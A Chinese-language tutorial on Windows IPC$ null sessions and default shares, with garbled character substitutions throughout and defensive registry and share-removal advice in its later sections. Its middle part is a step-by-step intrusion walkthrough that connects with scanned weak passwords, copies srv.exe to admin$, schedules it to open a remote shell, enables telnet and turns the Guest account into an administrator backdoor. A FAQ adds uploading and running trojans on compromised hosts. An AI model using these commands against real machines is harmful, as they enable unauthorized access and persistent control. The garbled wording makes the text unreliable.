DOS 常用命令&IPC$命令详解
1)ipc$与空连接:
不必要用户名与暗码的ipc$连接即为空连接,一旦你以某个用户或办理员的身份登岸(即以特定的用户名和暗码举行ipc$连接),自然就不能叫做空连接了.
许多人大概要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,缘故原由后面提到过,当你以空连接登岸时,你没有任何权限(很忧郁吧),而你以用户或办理员的身份登岸时,你就会有相应的权限(有权限谁不想呀,所以还是老诚实实扫吧,不要偷懒哟).
2)ipc$与139,445端口:
ipc$连接可以实现远程登岸及对默许共享的拜访;而139端口的开启表示netbios协议的使用,我们可以通过139,445(win2000)端话柄现对共享文件/打印机的拜访,因而一样平常来讲,ipc$连接是必要139或445端口来支持的.
3)ipc$与默许共享
默许共享是为了方便办理员远程办理而默许开启的共享(你当然可以关闭它),即全部的逻辑盘(c$,d$,e$……)和体系目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默许共享的拜访(条件是对方没有关闭这些默许共享)
五 ipc$连接失败的缘故原由
以下5个缘故原由是比较常见的:
1)你的体系不是NT或以上民主作体系;
2)对方没有打开ipc$默许共享
3)对方未开启139或445端口(惑被防火墙屏蔽)
4)你的命令输入有误(比如缺少了空格等)
5)用户名或暗码错误(空连接当然无所谓了)
另外,你也可以凭据返回的错误号分析缘故原由:
错误号5,拒绝拜访 : 很大概你利用的用户不是办理员权限的,先提拔权限;
错误号51,Windows 无法找到网络路径 : 网络有问题;
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver办事未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名 : 你的lanmanworkstation办事未启动;目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集辩论 : 你曾经和对方创建了一个ipc$,请删除再连。
错误号1326,未知的用户名或错误暗码 : 缘故原由很显着了;
错误号1792,试图登录,但是网络登录办事没有启动 : 目标NetLogon办事未启动。(连接域控会出现此情况)
错误号2242,此用户的暗码曾经过期 : 目标有帐号策略,强制定期要求更改暗码。
关于ipc$连不上的问题比较庞大,除了以上的缘故原由,还会有其他一些不确定因素,在此自己无法细致而确定的说明,就*各人自己领会和试验了.
六 怎样打开目标的IPC$(此段引自相关文章)
首先你必要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马,当然,这shell必须是admin权限的,然后你可以利用shell实行命令 net share ipc$ 来开放目标的ipc$。从上面可以晓得,ipc$能否利用还有许多条件。请确认相关办事都已运转,没有就启动它(不晓得怎么做的请看net命令的用法),还是不行的话(比如有防火墙,杀不了)发起放弃。
七 怎样防范ipc$入侵
1克制空连接举行枚举(此民主作并不能制止空连接的创建,引自《剖解win2000下的空会话》)
首先运转regedit,找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:00000001(要是设置为2的话,有一些问题会产生,比如一些WIN的办事出现问题等等)
2克制默许共享
1)观察本地共享资源
运转-cmd-输入net share
2)删除共享(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(要是有e,f,……可以连续删除)
3)制止server办事
net stop server /y (重新启动后server办事会重新开启)
4)修正注册表
运转-regedit
server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。
pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。
要是上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。
3永久关闭ipc$和默许共享依赖的办事:lanmanserver即server办事
控制面板-办理东西-办事-找到server办事(右击)-属性-常规-启动范例-已禁用
4安置防火墙(选中相关设置),大概端口过滤(滤失139,445等),大概用新版本的优化大家
5设置庞大暗码,防止通过ipc$穷举暗码
八 相关命令
1)创建空连接:
net use \\IP\ipc$ "" /user:"" (肯定要细致:这一行命令中包罗了3个空格)
2)创建非空连接:
net use \\IP\ipc$ "用户名" /user:"暗码" (异样有3个空格)
3)映射默许共享:
net use z: \\IP\c$ "暗码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)
要是曾经和目标创建了ipc$,则可以间接用IP+盘符+$拜访,详细命令 net use z: \\IP\c$
4)删除一个ipc$连接
net&nbs
p;use \\IP\ipc$ /del
5)删除共享映射
net use c: /del 删除映射的c盘,其他盘类推
net use * /del 删除全部,会有提示要求按y确认
九 经典入侵模式
这个入侵模式太经典了,大部分ipc教程都有先容,我也就拿过去援用了,在此感谢原创作者!(不晓得是哪位先辈)
11. C:\>net use \\127.0.0.1\IPC$ "暗码" /user:"用户名"
一样平常用流光,通过扫描弱口令来失掉,办理员帐号和暗码.
2. C:\>copy srv.exe \\127.0.0.1\admin$
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,各人还可以利用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
3. C:\>net time \\127.0.0.1
查查工夫,发现127.0.0.1 的以后工夫是 2004/6/15 上午 11:00,命令成功完成。
4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧
5. C:\>net time \\127.0.0.1
再查查到工夫没有?要是127.0.0.1 的以后工夫是 2004/6/15 上午 11:05,那就准备开始下面的命令。
6. C:\>telnet 127.0.0.1 99
这里会用到Telnet命令吧,细致端口是99。Telnet默许的是23端口,但是我们利用的是SRV在对方盘算机中为我们创建一个99端口的Shell。
固然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们计划创建一个Telnet办事!这就要用到ntlm了
7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
8. C:\WINNT\system32>ntlm
输入ntlm启动(这里的C:\WINNT\system32>指的是对方盘算机,运转ntlm实在是让这个程序在对方盘算机上运转)。当出现"DONE"的工夫,就说明曾经启动正常。然后利用"net start telnet"来开启Telnet办事!
9. Telnet 127.0.0.1,接着输入用户名与暗码就进入对方了,民主作就像在DOS上民主作一样简略!(然后你想做什么?想做什么就做什么吧,哈哈)
为了以防万一,我们再把guest激活加到办理组
10. C:\>net user guest /active:yes
将对方的Guest用户激活
11. C:\>net user guest 1234
将Guest的暗码改为1234,大概你要设定的暗码
12. C:\>net localgroup administrators guest /add
将Guest变为Administrator(要是办理员暗码更改,guest帐号没改变的话,下次我们可以用guest再次拜访这台盘算机)
ipc$常见问题:
1,怎样创建空连接,它有什么用?
答:利用命令 net use \IPipc$ "" /user:"" 就可以简略地和目标创建一个空连接(必要目标开放ipc$)。
对于NT,在默许安全设置下,借助空连接可以列举目标用户、共享,拜访everyone权限的共享,拜访小部分注册表等,没有什么利用代价。对2000作用就更小了。而且实现也不方便,需借助东西。
2.为什么我连不上IPC$?
答:1.只要nt/2000/xp及以上体系才可以创建ipc$。要是你用的是98/me是没有该功能的。
2.确认你的命令没有打错。精确的命令是: net use \目标IPipc$ "暗码" /user:"用户名"
细致别多了或少了空格。当用户名和暗码中不包罗空格时双方的双引号可以省略。空暗码用""表示。
3,凭据返回的错误号分析缘故原由:
错误号5,拒绝拜访 : 很大概你利用的用户不是办理员权限的,先提拔权限;
错误号51,Windows 无法找到网络路径 : 网络有问题;
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver办事未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名 : 你的lanmanworkstation办事未启动;目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集辩论 : 你曾经和对方创建了一个ipc$,请删除再连。
错误号1326,未知的用户名或错误暗码 : 缘故原由很显着了;
错误号1792,试图登录,但是网络登录办事没有启动 : 目标NetLogon办事未启动。(连接域控会出现此情况)
错误号2242,此用户的暗码曾经过期 : 目标有帐号策略,强制定期要求更改暗码。
4,关于ipc$连不上的问题比较庞大,没有总结出一个统一的认识,在肉鸡上实验偶然会得出抵牾的结论,十分顺手。 而且晓得了问题地点,要是没有用其他措施获得shell,许多问题仍然不能解决。
5,怎样打开目标的IPC$?
答:首先你必要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马。当然,这shell必须是admin权限的。然后你可以利用shell实行命令 net share ipc$ 来开放目标的ipc$。从上一问题可以晓得,ipc$能否利用还有许多条件。请确认相关办事都已运转,没有就启动它(不晓得怎么做的请看net命令的用法)。还是不行的话(比如有防火墙,杀不了)发起放弃。
6,怎样映射和拜访默许共享?
答:利用命令 net use z: \目标IPc$ "暗码" /user:"用户名" 将对方的c盘映射为自己的z盘,其他盘类推。
要是曾经和目标创建了ipc$,则可以间接用IP加盘符加$拜访。比如 copy muma.exe \IPd$pathmuma.exe 。大概再映射也可以,只是不用用户名和暗码了:net use y: \IPd$ 。然后 copy muma.exe y:pathmuma.exe 。当路径中包罗空格时,须用""将路径全引住。
7,怎样删除映射和ipc$连接?
答:用命令 net use \IPipc$ /del 删除和一个目标的ipc$连接。
用命令 net use z: /
del 删除映射的z盘,其他盘类推。
用命令 net use * /del 删除全部。会有提示要求按y确认。
8,连上ipc$然后我能做什么?
答:能利用办理员权限的帐号成功和目标连接ipc$,表示你可以和对方体系做深入“交换”了。你可以利用种种命令行方式的东西(比如pstools系列、Win2000SrvReskit、telnethack等)获得目标信息、办理目标的进程和办事等。要是目标开放了默许共享(没开你就帮他开),你就可以上传木马并运转。也可以用tftp、ftp的措施上传。像dwrcc、VNC、RemoteAdmin等东西(木马)还具有间接控屏的功能。要是是2000server,还可以考虑开启终端办事方便控制。这里提到的东西的利用,请看自带的说明或相关教程。
9,怎样防止别人用ips$和默许共享入侵我?
答:A、一种措施是把ipc$和默许共享都删除了。但重起后还会有。这就必要改注册表。
1,先把已有的删除
net share ipc$ /del
net share admin$ /del
net share c$ /del
…………(有几个删几个)
2,克制别人空连接
首先运转regedit,找到如下主键[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA]把RestrictAnonymous(DWORD)的键值改为:00000002。
3,克制主动打开默许共享
对于server版,找到如下主键[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters]把AutoShareServer(DWORD)的键值改为:00000000。
对于pro版,则是[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters]把AutoShareWks(DWORD)的键值改为:00000000。
要是上面所说的主键不存在,就新建一个再改键值。
B、另一种是关闭ipc$和默许共享依赖的办事(不保举)
net stop lanmanserver
大概会有提示说,XXX办事也会关闭能否连续。因为还有些次要的办事依赖于lanmanserver。一样平常情况按y连续就可以了。
C、最简略的措施是设置庞大暗码,防止通过ipc$穷举暗码。但要是你有其他毛病,ipc$将为进一步入侵提供方便。
D、还有一个措施就是装防火墙,大概端口过滤。
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
评论加载中...
|
上一篇: 远程主机探测技术FAQ集 - OS识别篇
下一篇: 解剖分析3721及上网助手(二)